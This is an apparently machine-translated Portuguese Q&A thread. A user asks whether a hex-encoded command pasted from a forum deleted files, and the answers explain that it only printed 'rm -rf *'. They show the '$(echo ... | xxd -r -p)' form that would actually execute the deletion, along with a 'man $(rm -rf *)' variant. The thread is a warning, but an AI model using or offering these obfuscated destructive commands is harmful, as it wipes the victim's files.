Fui enganado em copiar e colar um comando, isso me machucou?

129

Em um fórum on-line, alguém (acho que só para trollar comigo) disse para inserir isso no terminal:

(echo 726d202d7266202a | xxd -r -p)

NÃO COLOQUE ISTO PORQUE EU NÃO SEI SE FAZ ALGO.

Ele retornou isso no terminal:

rm -rf *ryanmcclure@RyansLinuxBox:~$

Isso excluiu alguma coisa? Estou me perguntando, porque ouvi dizer rm -rf *que esse comando horrível exclui tudo.

Edit: Apenas para quem lê isso está ciente, me disseram para inserir isso para ver uma animação de arte ASCII no terminal. Esteja avisado de que esse é o truque que foi usado para me enganar.

Ryan McClure
fonte
40
Muito provavelmente o comando pretendido pelo atacante foi o $(echo ... etc)que teria excluído tudo - os $(...)meios "executam este comando, capturam sua saída e executam isso como um comando". Para vê-lo em ação com segurança, você pode tentar $(echo ls)- ele executa a saída de echo ls, o que é ls- ou seja, ele será executado ls.
3
Sim, quem lhe deu essa grande falha por não ter idéia de como fazer o shell fazer mais do que decodificar a string.
precisa saber é o seguinte
53
Parece que seu sistema operacional estava quase ... / sem óculos de sol ... hexecortado. YEAHHhhhh ...
JoeFish 24/04
11
Agora é hora de ir e fazer backups de tudo o que por um breve momento você pensou que poderia ter perdido :)
MattJ
16
Então, você copiou e colou um comando de uma fonte não segura, mas o digitou incorretamente? Felizmente, às vezes, dois erros fazem um acerto. =)
rakslice

Respostas:

157

Não, não fez nada - é apenas uma questão de fechar.

Os parênteses dizem ao bash (o shell) para executar o conteúdo em um subshell (que é meio inútil). O comando executado echo 726d202d7266202a | xxd -r -pnão faz nada, exceto enviar o seguinte texto para a tela, "rm -rf *". Se ele executasse esse texto como um comando - em vez de apenas enviar o texto para a tela - você estaria com problemas. De qualquer forma, seja uma lição gratuita para não executar comandos da Internet que você não entende.

Michael Kropat
fonte
6
Será rm -rf * sem raiz fazer qualquer coisa de qualquer maneira?
badp
32
@badp Faz. Apaga tudo no diretório atual, o que significa / home / $ username (em geral)
jrg
2
@badp Mesmo que fosse /, a recursão chegaria a /home, e então /home/$USERNAME, e então tudo daria certo. Porém, deve haver muitos erros do tipo "Permissão Negada" antes disso.
Izkata
16
Na verdade, rm -rf /é de caixa especial, para que um comando específico não seja prejudicial nos sistemas Linux modernos; é rm -rf *isso que causará graves danos, porque provavelmente excluirá todos os seus dados pessoais, que são muito mais valiosos do que apenas o sistema operacional.
21412 Jeremy Bicha
7
Na verdade, é bastante interessante o que acontece quando você executa rm -rf /como root. Alguém tentou fazê-lo em uma máquina virtual e escreveu sobre isso no Blog do Super User: blog.superuser.com/2011/07/25/the-path-of-destruction-rm-rf
nhinkle
90

No espírito de "é melhor ensinar um homem a pescar do que dar a ele um peixe", recomendo que você digite o terminal man xxd(e sim, eu sou outra pessoa dizendo para você inserir algo no terminal ... mas você deve reconhecer o mancomando como seguro).

Se você não estiver familiarizado echo, verifique isso também . Basicamente, o comando que você listou "ecoa" a string para a saída padrão.

No |entanto, o canal canaliza essa saída padrão para a entrada padrão do xxdcomando, que neste caso é configurada para converter uma sequência em hexadecimal em entrada formatada regular.

Portanto, a resposta curta é: não, não excluiu nada. Mas ecoou rm -rf *na sua tela, o que deve ter lhe dado um calafrio :-)

Chan-Ho Suh
fonte
2
Eu odeio quando recebo duas ótimas respostas, mas tenho que dar a Michael, simplesmente porque ele venceu você por um minuto. :( Mas, esta resposta ainda é bom eu provavelmente deveria me familiarizar com eco ... :)!
Ryan McClure
7
Antes de inserir cegamente os comandos encontrados na Internet em sua máquina, você sempre deve ter pelo menos uma noção do que ela faz. Se um comando for muito longo para ser |apreendido à primeira vista, divida-o em -symbols. Na verdade, sempre verifique a página do manual se você não souber o comando. Ele irá protegê-lo desse tipo de pessoa e você aprenderá um pouco toda vez.
jippie
3
O mancomando pode ser o único que fornece o mesmo resultado no terminal e em um navegador da Internet.
trutheality
7
Mas observe: man $(rm -rf *)é tão mortal.
precisa
1
Para ser sincero, acho que a leitura das páginas de manual do xxd não seria muito útil para quem ainda não conhece bem o uso do shell. Eu realmente duvido que o OP pudesse ter determinado se esse comando realmente causou algum dano lendo o homem, sem muito mais trabalho. Concordo que é uma boa ideia saber o que um comando está fazendo antes de entrar nele e perguntar se você não consegue descobrir. De fato, um dos meus ódios de estimação sobre os fóruns "oficiais" do ubuntu é que há muitos conselhos aleatórios para introduzir um encantamento mágico no terminal por pessoas que não têm idéia.
Marty Fried
34

O invasor provavelmente queria que você colasse $(echo 726d202d7266202a | xxd -r -p)no seu shell. xxd decodificaria 726d202d7266202a em rm -rf *, que seria então executado.

xn.
fonte
17
Acho que ele (a vítima) deixou o $fora, porque ele pensou que era parte do prompt de vez do comando :)
Daniel Serodio
1
Ou talvez ele simplesmente não fosse um cara muito mau, afinal ...: D
user3490458 17/17/17
1

se você está preocupado com alguém que formiga seu sistema de arquivos, chrootestá à sua disposição. chroot /random/directorydepois execute o comando.

PnotNP
fonte
18
Seria útil explicar o que o chroot faz ou implica nesse caso. Caso contrário, este é digitar outro comando ... encontrados na internet ...
Michael Durrant
Executá-lo em algo como um recipiente janela de encaixe também é uma boa idéia, mas isso seria um exagero (mas apenas no caso ...)
joshumax
É sempre possível voltar chroot (ou simplesmente sair do shell chroot). Isso pode ser incluído na carga útil do ataque.
Zenexer 02/06/19